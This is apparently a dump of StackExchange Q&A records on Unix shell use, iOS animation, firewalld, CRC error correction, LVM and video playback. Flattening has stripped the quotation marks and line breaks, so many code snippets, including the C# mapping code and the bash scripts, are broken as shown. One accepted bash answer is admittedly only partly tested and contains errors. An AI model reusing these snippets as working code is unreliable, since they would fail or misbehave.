{  "id": "_unix.178522"  , "question": "For some reason, my system sets an environment variable with no name. This can be seen in the output from printenv as a line containing only = and causes problems for Python (more specifically the os.environ object).How do I unset this environment variable? Is there any other workaround (e.g. prevent the variable to be set in the first place)?To reproduce do e.g. env -i printenv, or for the Python problem do env -i = python -c import os; os.environ.clear()"  , "title": "Unsetting environment variable with an empty name"  , "tags": "environment variables"  , "accepted_answer": "Environment variables aren't supposed to have an empty name, so many utilities don't support them.The env command from GNU coreutils supports setting the environment variable with an empty name but not unsetting it. That's a bug.$ env '=wibble' env |grep wibble                                 =wibble$ env '=wibble' env -u '' envenv: cannot unset `': Invalid argumentCommon shells can't unset the empty name either. That's ok, since the empty name isn't supposed to be used as an environment variable, and can't be used as a shell variable. Zsh is the only buggy one in the lot: it pretends to do the job but in fact does nothing.$ env '=wibble' dash -c 'unset 'dash: 1: unset: : bad variable name$ env '=wibble' bash -c 'unset 'bash: line 0: unset: `': not a valid identifier$ env '=wibble' ksh -c 'unset 'ksh[1]: unset: : invalid variable name$ env '=wibble' mksh -c 'unset 'mksh: : is read only$ env '=wibble' posh -c 'unset 'posh: unset:  is read only$ env '=wibble' zsh -c 'unset '$ env '=wibble' zsh -c 'unset ; env' | grep wibble=wibblePython, as you've noticed, bugs out when it finds the empty name for an environment variable.Perl has no such problem, so it may be a solution for you. Note that you have to execute a new shell to use an external process to change the environment.perl -e 'delete $ENV{}; exec $ARGV[0] @ARGV' $SHELL -$-"  } 
{  "id": "_codereview.15835"  , "question": "I understand that this animation code is outdated:[UIView beginAnimations:@Move context:nil];[UIView setAnimationCurve:UIViewAnimationCurveEaseIn];[UIView setAnimationDelay:0.08];self.view.frame = CGRectMake(0, 0, self.view.frame.size.width, self.view.frame.size.height);[UIView commitAnimations];What are the modern best practices for achieving the same result?"  , "title": "Upgrading animation code"  , "tags": "objective c;ios;animation;cocoa touch"  , "accepted_answer": "In iOS 4 and later you are encouraged to use animation blocks.[UIView animateWithDuration: 0.5f            delay: 0.08f            options: UIViewAnimationCurveEaseIn            animations: ^{                self.view.frame = CGRectMake(0, 0, self.view.frame.size.width, self.view.frame.size.height);            }            completion: ^(BOOL finished){               // any code you want to be executed upon animation completion            }];One advantage of using block-based animation is thatWhen this code executes, the specified animations are started immediately on another thread so as to avoid blocking the current thread or your applications main thread.This means that the rest of your application will not be locked up while your animation is executing."  } 
{  "id": "_unix.365276"  , "question": "I understand that we must first create a file system on our physical block device before mounting it successfully (to define which drivers to use and how to control the underling disk), but I'm left wondering which parts of the file system are needed to successfully mount.My intuition tells me that just the superblock should be needed, but I'm unsure of how to go about testing or verifying this.From the kernel's point of view, what would be the minimal amount of file system information needed to mount a disk? The Super Block? The Super Block and other information (like an I-node table)?"  , "title": "What file system information is needed to mount a disk?"  , "tags": "linux;filesystems;mount;superblock"  } 
{  "id": "_unix.305796"  , "question": "I am trying to delete all *.pyc and pycache, and any other silly files languages need to run that i don't want to see. The closest I've gotten issudo rm -rf **/*__pycache__answer, which doesn't work deep down the path, and sudo rm -R -f {__pycache__,.*.pyc}which didn't work for pycache folder. webapi/__pycache__webapi/cool_app/__pycache__webapi/cool_app/bad_file.pycwebapi/cool_app/keep_this_awesomeness.pywebapi/cool_app/sweet_folder/__pycache__webapi/cool_app/sweet_folder/bad_file.pycwebapi/cool_app/sweet_folder/keep_this_awesomeness.pyOnly webapi/cool_app/keep_this_awesomeness.py webapi/cool_app/sweet_folder/keep_this_awesomeness.pyremain. Any help awesome, ty"  , "title": "recursively delete all files, empty directories, and directories with files of multiple names under current directory, including current directory"  , "tags": "linux;ubuntu;files;find;rm"  , "accepted_answer": "find . \\( -name __pycache__ -o -name *.pyc \\) -delete"  } 
{  "id": "_unix.241823"  , "question": "Essentially I need to create a code that backs up files. One of the specifications is that if there is a .pdf file (lets call it test1.pdf for example) and a .doc file with the exact same name (test1.doc) then the code is meant to only copy the .doc file.I'm a huge Linux noob so I won't be able to do any advanced methods, here's what I've got so far, the code does 90% of what it's meant to do except this final requirement. I've utilized a for loop:for file in $(find ${sourcePath} -name *.pdf); dofileName=$(echo ${file} | cut -d '.' -f1)if $(find $(sourcePath) -name ${fileName}.doc &>/dev/nulll; then    echo Sorry, a .doc file with that extension already exists, skipping copy    continuefidoneI'm sure people will find out instantly why it doesn't work (I'm just that bad) but essentially what this loop is doing when I run the script via bash -x is:Checks for any files with .pdfRemoves the name before the .Checks for any other files with the same filename before the . and if it's a .doc file it echos a warning messageProblem is, the code still copies the files anywayI suspect it's because I've not specified WHAT the code should do if it finds the two files but I'm really clueless here. Any help?Here's my full code for reference.#!/bin/bashsourcePath=$1destPath=$2Filedoc=*.docFilepdf=*.pdfFilePDF=*.PDFif [[ $# -ne 2 ]]; then    echo Usage ; dar doc_path archive_path    exit 1fiif [ ! -d sourcePath ]    then echo Directory does not existfiif [ ! -d destPath ]    then mkdir -p $destPathfifor file in $(find ${sourcePath} -type f -exec basename {} \\; | sort | uniq -d); do    num=1     fileName=$(echo ${file} | cut -d '.' -f1)    fileExtension=$(echo ${file} | cut -d '.' -f2)    dirName=$(dirname ${duplicate})    for duplicate in $(find ${sourcePath} -name ${file} | tail -n +2 ); do            mv ${duplicate} ${duplicate}${fileName}_${num}.${fileExtension}            echo Renamed duplicate file ${duplicate} ${duplicate}_${num}.${fileExtension}            (( num = num + 1 ))    donedonefor file in $(find ${sourcePath} -name *.pdf); do    fileName=$(echo ${file} | cut -d '.' -f1)    if $(find $(sourcePath) -name ${fileName}.doc &>/dev/nulll; then            echo Sorry, a .doc file with that extension already exists, skipping copy            continue        fidonefind ${sourcePath} -name $Filedoc -exec cp -r {} ${destPath} \\;find ${sourcePath} -name $FilePDF -exec cp -r {} ${destPath} \\;"  , "title": "How to skip a file with a specific file extension if there is another file (with another extension) with the exact same filename?"  , "tags": "bash"  } 
{  "id": "_webapps.54855"  , "question": "I have the following data in a Google Spreadsheet:1   shiplu  rice2   sharmin rice3   sharmin fast food4   sharmin salad5   rafiq   burger6   nazia   noodles7   rafiq   salad8   rafiq   noodles9   nazia   rice10  razib   riceThe first column is in fact a timestamp, but I used integer to make it more readable.The other columns are username and food item.I need to get the last food inputed by an user. The output should looke like this:1   shiplu  rice4   sharmin salad8   rafiq   noodles9   nazia   rice10  razib   riceI used the following query, but it does not give the desired output:=QUERY(A1:C10;select B, C group by B order by A)How can I achieve this?This is the spreadsheet in question."  , "title": "Group by and ordering inside a group in Google Spreadsheets"  , "tags": "google spreadsheets;google spreadsheets query"  } 
{  "id": "_softwareengineering.260198"  , "question": "I wanted to as this question about VMs in general, but focused it to JVM implementations only so this doesn't get closed as too broad.The JVM has a concept of a heap. If my understanding is correct, the heap is simply the free store where you can save data, i.e. anywhere in RAM that doesn't have another purpose (such as the stack).When we say the heap in the context of the JVM, are we talking about somewhere inside the VM itself (which may or may not be allocated on the heap of the underlying physical computer)? Or do we refer to the heap of the physical computer?"  , "title": "Is the JVM heap inside the JVM software, or inside the physical computer?"  , "tags": "virtual machine;jvm;cpu;heap"  , "accepted_answer": "The specification is very clear about it 2.5.3. HeapThe Java Virtual Machine has a heap that is shared among all Java Virtual Machine threads. The heap is the run-time data area from which memory for all class instances and arrays is allocated.The heap is created on virtual machine start-up. Heap storage for objects is reclaimed by an automatic storage management system (known as a garbage collector); objects are never explicitly deallocated. The Java Virtual Machine assumes no particular type of automatic storage management system, and the storage management technique may be chosen according to the implementor's system requirements. The heap may be of a fixed size or may be expanded as required by the computation and may be contracted if a larger heap becomes unnecessary. The memory for the heap does not need to be contiguous.A Java Virtual Machine implementation may provide the programmer or the user control over the initial size of the heap, as well as, if the heap can be dynamically expanded or contracted, control over the maximum and minimum heap size.The following exceptional condition is associated with the heap:If a computation requires more heap than can be made available by the automatic storage management system, the Java Virtual Machine throws an OutOfMemoryError.To answer your question:When we say the heap in the context of the JVM, are we talking about somewhere inside the VM itself (which may or may not be allocated on the heap of the underlying physical computer)? Or do we refer to the heap of the physical computer?When we speak of heap, we speak of already allocated memory for the JVM. So, it is inside (?) the JVM (if that makes any sense to say). The JVM has its own memory management."  } 
{  "id": "_unix.72988"  , "question": "I just upgraded my gnome-terminal to use 256 colors, yet I am a bit puzzled on the reason why a terminal emulator can't support the full palette any modern desktop environment provides. I guess there's a technical reason for this, but I am not aware of it."  , "title": "Why don't Linux terminal emulators support full colors?"  , "tags": "linux;terminal;gnome terminal"  } 
{  "id": "_webmaster.10412"  , "question": "Right now I'm using statcounter and Google analytics. They are great. But my counts are currently separated. Ex: website.com = 1000 visits a day, website.com/about = 50 visits a day, website.com/privacy = 10 visits a day, etc..How can have a combined count of all of my sub-pages? (mainpage + about page + about 100 other sub-pages )I can of course manually add them all together, but that's time consuming because there are many pages. I tried placing a separate tracking code in a PHP include that sits in each of the sub-pages, but it doesn't seem to be working. It seems to require a single URL to create it, which it then only counts the visits from the one URL, rather than ALL of them. Ex: website.com)"  , "title": "how can i track visits to ALL of the subpages of my website COMBINED TOGETHER?"  , "tags": "google analytics"  , "accepted_answer": "I'm confused about the issue here - On Google Analytics this is in the top site usage section of the dashboard and on statcounter it's on the summary report (the first one on the list). "  } 
{  "id": "_unix.197355"  , "question": "Fedora's ability to forward ports using the apparently native networking software, firewalld, appears to continue to be broken beyond credulity. Please note that it hasn't really worked since at least Fedora 19 (see https://serverfault.com/questions/541087/fc19-firewalld-debugging-help-requested-ports-not-forwarding)Note that it can't even permanently put an interface into a given zone in the current (21) release (with all updates through to this date) - a fundamental capability for this software, to be sure, as evidenced here, https://serverfault.com/questions/683783/fedora-21-firewalld-firewall-cmd-wont-permanently-assign-interfaces-to-zones/683792#683792.As suggested by the accepted answer under this question, https://serverfault.com/questions/524200/configuring-firewalld-in-fedora-18-19IP tables is still in use under the sheets with firewalld  (firewall-cmd). I have had NO SUCCESS whatsoever with getting firewalld (firewall-cmd) to successfully do any port forwarding - not that I've tried everything possible, but I've tried a lot - and it makes me wonder if it's even possible.Somehow, some way, we need to know if we should even BOTHER with this codeline. WHY ON EARTH should we spend DAYS of our time, individually (and collectively many man-years) if the codeline is so inept?! Maybe the authors should Pull The Code until it's READY for prime-time? MAYBE someone should say, No, use ip-tables until we fix this thing, quit wasting your time, sorry!What I can tell you DOES NOT WORK is a most basic example:Take the forwarding of a port of obscurity, say, 9876, from an external interface to port 22, the SSH port, to a particular internal system. So, on a newly installed system, after sorting out the IP addresses of the interfaces, assigning them permanently to their respective zones (see https://serverfault.com/questions/683783/fedora-21-firewalld-firewall-cmd-wont-permanently-assign-interfaces-to-zones/683792#683792), the forwarding is then assigned. First, the port is opened and then forwarded using something like this:firewall-cmd --zone=external --add-port=9876/tcpfirewall-cmd --zone=external --add-forward-port=port=9876:proto=tcp:toport=22:toaddr=192.168.1.1The problem is, this does NOT work. (The result is a simple timeout, nothing found in the logs.) I can provide citations to the documentation to support that this is the right syntax - that's trivial, however, I'd also like to point out that someone thinks this can work, here: http://www.certdepot.net/rhel7-get-started-firewalld/. I'd like to know how they managed it! Or, is this a difference between the codelines of Fedora and Centos and / or RHEL7?!I'm thinking that after the failures of this codeline from Fedora 19 through to 21, it's been released WAY before its time. But, I'd be delighted to learn I'm wrong. Otherwise, I'm BACK TO IP-TABLES, and not happy about it."  , "title": "Fedora 21 Port Forwarding with firewalld (firewall-cmd); how does it REALLY work? Or, does it?"  , "tags": "iptables;fedora;port forwarding;firewalld"  } 
{  "id": "_unix.136228"  , "question": "There are two files called install.log and install.shThe find command will find both of these and pass them to -exec lsWith the addition of an or (-o), it only passes one argument to -exec lsWithout an -exec, find does indeed find all the filesSame with anything passed to -exec, like cat. It doesn't get passed all the arguments.Why is there a suddenly difference when I use an or (-name install.log -o -name install.sh) vs. when I use a wildcard (-name install.\\*)?"  , "title": "-exec isn't being passed all the files found by find"  , "tags": "find;exec"  } 
{  "id": "_webmaster.27309"  , "question": "Small team of developers doing their work here and there. We have a team leader, and is sole responsible for uploading updated source files from the development server to the production server. So let's say, so if an updated files needs to be uploaded to the prod server, that concerned developer shall notify the team lead about it, and then the team lead will update the files to the prod server. So no developer has an access to the prod server except for the team lead. That's our current setup.Now, what we want to do is to give developers a way for uploading their updated files to the server without the team lead intervening in the process. What do you think is the best way to go about this?"  , "title": "Best way for developers to upload files to production server"  , "tags": "development"  } 
{  "id": "_cs.80013"  , "question": "If we view the value table of a function as a long string (concate row after row), we can ask what its kolmogorov complexity is. My question is, taking all of those functions with Alice and Bob each getting n bits, what is the average communication complexity over all functions with kolmogorov complexity under k? "  , "title": "Average communication complexity with limitied kolmogorov complexity"  , "tags": "combinatorics;communication complexity"  } 
{  "id": "_unix.39071"  , "question": "When I type in google.com, firefox tells me that the server is not found. When I type in the IP address of google, it works just fine.I was playing with this computer at another place and it didn't have any problems.I have no idea what's wrong. Also: this is a fresh install and the computer is a little old."  , "title": "debian, problem with DNS"  , "tags": "debian;dns"  , "accepted_answer": "The configuration file /etc/resolv.conf contains information that allows a computer connected to a network to resolve names into addresses.Change it to, for example, Google's DNS servers:nameserver 8.8.8.8nameserver 8.8.4.4Also check that your dhclient is activated.http://www.malgouyres.fr/linux/configreseau_en.html#resolv"  } 
{  "id": "_webmaster.98675"  , "question": "I have an issue that I really cannot wrap my head around and was hoping that someone could help me with. I manage a e-commerce website that is active on multiple markets. Two with a marketspecific domain (mysite.co.uk and mysite.nl) and four with subfolder URLs (mysite.com/ie, mysite.com/fr etc)The websites have the same content, product pages, architecture etc and managed by home made CMS. Problem is that when looking in the GA Search Console > Links to your site report the mysite.co.uk has about 10K links from mysite.com and the mysite.com/market have about 300K from mysite.com.The only place where we link from one market to another is in the footer, and I have no idea why the difference is so big. if the mysite.com links 300K times that should be the same towards .co.uk as for the .com/fr. On the .com sites we have gotten a manual action against Unnatural links to your site, and we can see loss in organic traffic. The only difference between .co.uk and .com in inbound links is the huge amount from our own domain on .com. Anyone have any idea what have happend and possible solutions?"  , "title": "Issue with huge amount of inbound links for multiple sub folder website"  , "tags": "google search console;links"  } 
{  "id": "_unix.349968"  , "question": "I currently have problems determining if the hypervisor bit (31 bit) is set to true using CPUID on command line.I'm using the following command cpuid -1 -r to retrieve the hex data as shown in the screenshot below.I'm unsure how exactly to retrieve the hypervisor bit value from this list of hex values.Any help on solving this problem would be appreciated."  , "title": "How to check if the hypervisor present bit is set using CPUID"  , "tags": "linux;cpu;x86"  , "accepted_answer": "I would just use the textual representation given by cpuid by default:cpuid -1 | grep 'hypervisor guest status'If you really want to use the raw values, you need to filter on CPUID#1 and then check that ECX is greater than or equal to 0x80000000:cpuid -1 -r | grep '^   0x00000001.*ecx=0x[89a-f]'If that produces output, the bit is set, otherwise it isnt; you can also use grep's exit status."  } 
{  "id": "_codereview.163620"  , "question": "I'm looking for guidance/review on an approach that I've taken.StructureWindows ServiceShopify Module (API)Official Shopify APIThe Scenario Our Windows Service connects to the Shopify Module which in turn connects to the Shopify API - I chose to build a custom Micro Service pattern where as the e-commerce module (Shopify module + others) pulls down/maps a common set of objects, which ultimately is pushed into our data module.Everything works perfectly and the Windows Service doesn't need to know where the data is coming from, just that it needs to conform to a common set of objects.Snippet (Method)As described, the Windows Service will check some configuration, call a module, which maps into data module objects, to pass to the data module.        public List<Models.Model.DataAPI.Order> ParsedOrders()        {                //Get orders-  deserializes into shopify objects                var orders = Orders().Where(x => x.Order_Number != _identity.LastOrderNumber);                var dataApiOrders = new List<Models.Model.DataAPI.Order>();                //Map/Parse orders into readable format for the data api                foreach (var item in orders)                {                    ////Randomly generate key as, a shipping line can be null and it needs to be unique passing up to the data api                    var shipping_method_id = Guid.NewGuid().ToString();                    //Get Shipping Total                    var shippingLineItems = item.Shipping_Lines.FirstOrDefault();                    if (shippingLineItems != null)                    {                        if (string.IsNullOrWhiteSpace(shippingLineItems.Price))                        {                            shippingLineItems.Price = 0;                        }                        shippingLineItems.Id = shipping_method_id;                    }                    else                    {                        //Generate fake as shopify sometimes passes null line item                        shippingLineItems = new Models.Model.Shopify.ShippingLineItem();                        shippingLineItems.Title = No Shipping Method;                        shippingLineItems.Id = shipping_method_id;                        shippingLineItems.Price = 0;                    }                    //Randomly generate key as  shopify does not create a unique id for shipment                    var shipment_id = Guid.NewGuid().ToString();                    //Map shipping method                    var dataApiShippingMethod = Models.Mapping.DataAPI.MapShippingMethod.ModelToEntityCollection(shippingLineItems);                    //Map Data Api Shipments                    var dataApiShipments = Models.Mapping.DataAPI.MapShipment.ModelToEntityCollection(item.Shipping_Address, shippingLineItems.Id, shipment_id);                    //Map DataApiCustomer                    var dataApiCustomer = Models.Mapping.DataAPI.MapCustomer.ModelToEntity(item.Customer);                    var dataApiproducts = new List<Models.Model.DataAPI.Product>();                    var productLineItems = item.Line_Items.OrderByDescending(x => x.Price);                    foreach (var l in productLineItems)                    {                        //Code Omitted, needs to call shopify again because the core request does not fetch image or variance                        //Map product into data api collection                        var dataApiProductModel = Models.Mapping.DataAPI.MapProduct.ModelToEntity(l, shipment_id, mainImageSRC);                        dataApiproducts.Add(dataApiProductModel);                    }                    //Map order offers                    var dataApiOrderOffers = Models.Mapping.DataAPI.MapOrderOffer.ModelToEntityCollection(item.Discount_Codes);                    //Get complete mapped order                    var dataApiOrder = new Models.Model.DataAPI.Order()                    {                        order_number = item.Order_Number,                        order_created_at = item.Created_At,                        total_shipping_price = Decimals.Parse(shippingLineItems.Price),                        currency = item.Currency,                        total_price = Decimals.Parse(item.Total_Price),                        total_tax = Decimals.Parse(item.Total_Tax),                        billing_address = new Models.Model.DataAPI.BillingAddress()                        {                            city = (item.Billing_Address != null) ? item.Billing_Address.City : ,                            first_name = (item.Billing_Address != null) ? item.Billing_Address.First_Name : ,                            last_name = (item.Billing_Address != null) ? item.Billing_Address.Last_Name : ,                            address1 = (item.Billing_Address != null) ? item.Billing_Address.Address1 : ,                            address2 = (item.Billing_Address != null) ? item.Billing_Address.Address2 : ,                            phone = (item.Billing_Address != null) ? item.Billing_Address.Phone : ,                            zip_postalcode = (item.Billing_Address != null) ? item.Billing_Address.Zip : ,                        },                        customer = dataApiCustomer,                        shipping_methods = dataApiShippingMethod,                        order_offers = dataApiOrderOffers,                        shipments = dataApiShipments,                        products = dataApiproducts                    };                    dataApiOrders.Add(dataApiOrder);                }            return dataApiOrders;        }To reiterate, I call the Shopify API, it then deserializes into Shopify objects, which I then map into data module objects. The Windows Service receives the data module objects which are pushed to the data module."  , "title": "Manually mapping complex objects using Windows Service & Shopify"  , "tags": "c#;api;e commerce"  } 
{  "id": "_cs.55353"  , "question": "What algorithm can be used to correct a two-bit error in a message protected by a 32-bit CRC, assuming the CRC polynomial allows that? I'm seeking something for 480-bit payload, able to detect uncorrectable errors, fast in the worst case, and compact.Because I have hardware support for that, I'm most interested in the CRC-32 IEEE 802.3 primitive polynomial (allowing two-bit error correction for payloads up to 2974 bits), $$x^{32}+x^{26}+x^{23}+x^{22}+x^{16}+x^{12}+x^{11}+x^{10}+x^8+x^7+x^5+x^4+x^2+x+1$$but the question is of theoretical interest for others, such as the CRC-32K polynomial proposed by Koopman (allowing two-bit error correction for payloads up to 16360 bits)$$(x+1)(x^3+x^2+1)(x^{28}+x^{22}+x^{20}+x^{19}+x^{16}+x^{14}+x^{12}+x^9+x^8+x^6+1)$$Assume payload data of $b$ bits (assimilated to the coefficients of a binary polynomial $B(x)$ of degree less than $b$), to which is appended a CRC computed with binary polynomial $P(x)$ of degree $c=32$, as $C(x)=(B(x)\\;x^c)\\bmod P(x)$. It is then stored in memory $b+c$ bits of $B(x)\\;x^c+C(x)$. On reading is it computed the syndrome $S(x)=(B'(x)\\;x^c+C'(x))\\bmod P(x)$. Assuming there has been at most two bits in error, and $b$ is small enough:If $S(x)=0$, then there has been no error.Otherwise, if there exists $i$ with $0\\le i<b+c$ such that $S(x)=x^i\\bmod P(x)$, then there has been a single error, and $i$ tells where, allowing correction.Otherwise, there has been two errors and there exists $i$ and $j$ with $0\\le i<j<b+c$ such that $S(x)=(x^j+x^i)\\bmod P(x)$; again finding $(i,j)$ allows correction.The case of a single bit in error is relatively easy; that's a discrete logarithm problem, with an easy size versus speed compromise: we can have a precomputed table allowing solving in a single lookup for $i$ multiple of $k$, and use that $k$ times. But I'm stuck with the case of two bits where I have nothing much better than trying all $j$ and doing as for a single bit in error."  , "title": "Correcting two-bit error using a CRC"  , "tags": "error correcting codes;crc"  , "accepted_answer": "One approach: Use a meet-in-the-middle algorithm.  Build a precomputed table that stores $T_i = x^i \\bmod P(x)$ for all $i$ up to the maximum message length.  Now, given $S$, you are looking for $i,j$ such that $S = T_i + T_j$.  This can be found by enumerating all $i$, and for each $i$, computing $S-T_i$ and checking whether it is present in the precomputed table.The running time is proportional to the maximum length of the message.  I'd imagine that in a real deployment, two-bit errors will be rare enough that this running time is affordable.  (If two-bit errors are common, then three-bit errors will have non-negligible probability, which is a problem of its own.)If you want to reduce space complexity, instead of storing the entire precomputed table and looking up $S-T_i$ in the table, compute the discrete log of $S-T_i$ for each $i$ using whatever method you prefer (such as the one you listed in your question).I don't know if there are smarter methods that exploit the structure of $\\mathbb{F}_2^{32}$ in a more intelligent manner."  } 
{  "id": "_unix.180315"  , "question": "UsingGNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)I am a bash scripting novice, not sure where to begin except at shebang #!. The following command.touch -a -m -t 201501010000.00 somefile.txt, will modify somefile.txt access time and modification time. Is there a way to have a bash script?Operating within the directory /mnt/harddrive/BASE/  Prompt user input for. somefilename.txt, or somedirectoryname.Prompt user input for. datetime sequence. Instead of using the current time-stamp, explicitly specify the time/date using -t and -d options. Recursively change/modify. atime, mtime on sub-directorys within the BASE directory and files within that sub-directory.ANDChange/modify. atime, mtime of somefilename.txt located in the /mnt/hardrive/BASE/ directory.Optional 6. Append mtime to somefilename and somedirectoryname before the file extension. ie: somefilename-01-01-2015.txt or somedirectoryname-01-01-2015. Prompt user: do you want to append mtime to somefilename.txt YES/NO if YES/NO continue.  stat the directory and file output to the console or /tmp directory text file and display with cat then delete the sometmpfile rm -r. "  , "title": "Bash script, ask for user input, to change a directory, sub directorys, and file's mtime atime linux recursively"  , "tags": "bash;shell script;files;date;touch"  , "accepted_answer": "It could look like this:#!/bin/bash# 1. change directorycd /mnt/harddrive/BASE/ # 2. prompt for name of file or directoryecho -n file or directory name: # ...  and read itread HANDLE# 2. b - check if it exists and is readableif [ ! -r $HANDLE ] then    echo $HANDLE is not readable;    # if not, exit with an exit code != 0    exit 2;fi# 3. prompt for datetimeecho -n datetime of file/directory: # ... and read itread TIMESTAMP# 4. set datetime for HANDLE (file or directory + files) find $HANDLE | xargs touch -a -m -t $TIMESTAMP# 5. ask, if the name should be changedecho -n change name of file by appending mtime to the name (y/n)?: # ... and read itread YES_NOif [ $YES_NO == y ]then    # get yyyy-mm-dd of modification time     SUFFIX_TS=$(stat -c %y $HANDLE  | cut -f 1 -d )    # rename, supposed, the suffix is always .txt    mv $HANDLE $(basename $HANDLE txt)-$SUFFIX_TS.txt    # let HANDLE hold the name for further processing    HANDLE=$HANDLE-$TIMESTAMP.$SUFFIXfi# 7. stat to consolestat $HANDLEThis is just partly tested, but should be a start.To get a an understanding of what is happening here, you should look up the following commands:echo, read, test, cut, touch, find, xargsBesides you should understand several basic bash concepts, i.e. parameter substitution, command substitution and pipes."  } 
{  "id": "_softwareengineering.68201"  , "question": "Let us say, I am browsing the internet and stumble upon a SO answer/forum/blog with code that perfectly solves a problem I have. The only trouble is they didn't specify any sort of licensing for their code.Is this code usable in my project or would I break copyright laws?What would be required for me to include it in a closed source project?An open source project?What licenses would be compliant or non-compliant with it? (e.g. Could I take their code and release it with GPL code?)"  , "title": "Licensing for code that I find in forums or on SO?"  , "tags": "licensing"  , "accepted_answer": "IANALAt the bottom of each page on the StackExchange sites is a line that reads something like:site design / logo  2011 stack exchange inc; user contributions licensed under cc-wiki with attribution requiredSo, anything you find on StackExchange (including StackOverflow, ServerFault, and SuperUser) is licenced under the terms specified on the page."  } 
{  "id": "_unix.291217"  , "question": "I use Ubuntu and someone advised me to change permissions to a file with sudo chmod  +x .It is not clear to me if +x means to change permissions to something very general as 777 or 775, or something totally different.I've tried to Google +x unix and +x linux, but I couldn't find data regarding it in a fast search.Here are the orders I have done (thus I'm stuck in stage 4):install wgetrun wget http://files.drush.org/drush.pharrun sudo mv drash.phar /usr/local/bin/drushrun sudo chmod +x /usr/local/bin/drushtest drush"  , "title": "What does the argument  +x  means in Unix? (Regarding permissions)?"  , "tags": "permissions"  } 
{  "id": "_unix.99332"  , "question": "How can I use mouse with panes in vim? I tried :set mouse=a but it does not seem to work when doing :sp or :vsp or vim -O"  , "title": "How can I enable mouse in Vim?"  , "tags": "linux;vim"  } 
{  "id": "_unix.311036"  , "question": "For no reason LVM volume group is inactive after every boot of OS. Manual activation works fine. Didn't touch any configs for several months.I do not use RAID and OS is booting from usual partition.The only thing I do regularly is: apt-get update && apt-get upgrade.How can I force it to activate as it was a day ago?My system details:Linux server 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64 x86_64 x86_64 GNU/Linuxroot@server:~# pvdisplay  --- Physical volume ---  PV Name               /dev/sdb  VG Name               data  PV Size               2.73 TiB / not usable 3.46 MiB  Allocatable           yes (but full)  PE Size               4.00 MiB  Total PE              715396  Free PE               0  Allocated PE          715396  PV UUID               Lcd805-EmRG-mk6o-eXgV-psP9-V6rp-7fGfderoot@server:~# vgdisplay  --- Volume group ---  VG Name               data  System ID               Format                lvm2  Metadata Areas        1  Metadata Sequence No  4  VG Access             read/write  VG Status             resizable  MAX LV                0  Cur LV                2  Open LV               2  Max PV                0  Cur PV                1  Act PV                1  VG Size               2.73 TiB  PE Size               4.00 MiB  Total PE              715396  Alloc PE / Size       715396 / 2.73 TiB  Free  PE / Size       0 / 0     VG UUID               GlZi9o-8zQ2-Jnao-twAh-XjEE-mAEN-5EMOIfroot@server:~# lvdisplay  --- Logical volume ---  LV Path                /dev/data/web  LV Name                web  VG Name                data  LV UUID                afnB4a-SCrl-XHDt-R1mb-flSc-Rto5-1CdaOJ  LV Write Access        read/write  LV Creation host, time server, 2014-12-26 23:56:51 +0300  LV Status              available  # open                 1  LV Size                2.00 TiB  Current LE             524288  Segments               1  Allocation             inherit  Read ahead sectors     auto  - currently set to     256  Block device           252:0  --- Logical volume ---  LV Path                /dev/data/data  LV Name                data  VG Name                data  LV UUID                KKo37f-qg2a-VBUt-3Qch-ULhC-YccS-Iaxwxz  LV Write Access        read/write  LV Creation host, time server, 2014-12-27 00:02:59 +0300  LV Status              available  # open                 1  LV Size                746.52 GiB  Current LE             191108  Segments               1  Allocation             inherit  Read ahead sectors     auto  - currently set to     256  Block device           252:1"  , "title": "LVM volume group is inactive after reboot of Ubuntu"  , "tags": "ubuntu;lvm"  } 
{  "id": "_unix.321405"  , "question": "I have video playback issues with vlc while mplayer performs correctly.Sample fileCaminandes 1:  Llama DramaType : Vido    Codec : H264 - MPEG-4 AVC (part 10) (avc1)    Resolution: 1920x1090    Display resolution: 1920x1080    Frame rate: 24    Decoded format: Planar 4:2:0 YUVStream 1    Type: Audio    Codec: MPEG AAC Audio (mp4a)    Channels: Stereo    Sample rate: 44100 HzMy machineDell XPS 600i with Radeon R7 240Intel(R) Core(TM)2 Quad  CPU   Q8200  @ 2.33GHz     : 2331,00MHzIntel(R) Core(TM)2 Quad  CPU   Q8200  @ 2.33GHz     : 2331,00MHzIntel(R) Core(TM)2 Quad  CPU   Q8200  @ 2.33GHz     : 2331,00MHzIntel(R) Core(TM)2 Quad  CPU   Q8200  @ 2.33GHz     : 2331,00MHzVGA compatible controller       : Advanced Micro Devices, Inc. [AMD/ATI] Oland PRO [Radeon R7 240] Audio device        : Advanced Micro Devices, Inc. [AMD/ATI] Cape Verde/Pitcairn HDMI Audio [Radeon HD 7700/7800 Series]Using vlcWhen opening the video with vlc, it stutters to a point it is not watchable.vlc spits a lot of warnings about skipped frames:vlc -v 01_llama_drama_1080p.mp4 VLC media player 2.2.4 Weatherwax (revision 2.2.3-37-g888b7e89)[00000000006df178] core libvlc: Running vlc with the default interface. Use 'cvlc' to use vlc without interface.[00007f95a0c01598] mp4 stream warning: unknown box type btrt (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gsst (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gstd (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gssd (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gspu (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gspm (incompletely loaded)[00007f95a0c01598] mp4 stream warning: unknown box type gshh (incompletely loaded)[00007f95a0c01808] mp4 demux warning: STTS table of 1 entries[00007f95a0c01808] mp4 demux warning: STTS table of 1 entries[00007f95a0daa508] faad decoder warning: decoded zero sampleFailed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory[00000000007b9308] pulse audio output warning: starting late (-15366 us)[00007f958c0c9318] core video output warning: picture is too late to be displayed (missing 84 ms)[00007f958c0c9318] core video output warning: picture is too late to be displayed (missing 44 ms)[00007f958c0c9318] core video output warning: picture is too late to be displayed (missing 88 ms)[00007f958c0c9318] core video output warning: picture is too late to be displayed (missing 47 ms)[00007f958c0c9318] core video output warning: picture is too late to be displayed (missing 85 ms)Those warnings go on forever.Using mplayerOn the other hand, it goes smooth with mplayer / smplayer:mplayer 01_llama_drama_1080p.mp4 MPlayer2 2.0-728-g2c378c7-4+b1 (C) 2000-2012 MPlayer TeamCannot open file '/home/jerome/.mplayer/input.conf': No such file or directoryFailed to open /home/jerome/.mplayer/input.conf.Cannot open file '/etc/mplayer/input.conf': No such file or directoryFailed to open /etc/mplayer/input.conf.Playing 01_llama_drama_1080p.mp4.Detected file format: QuickTime / MOV 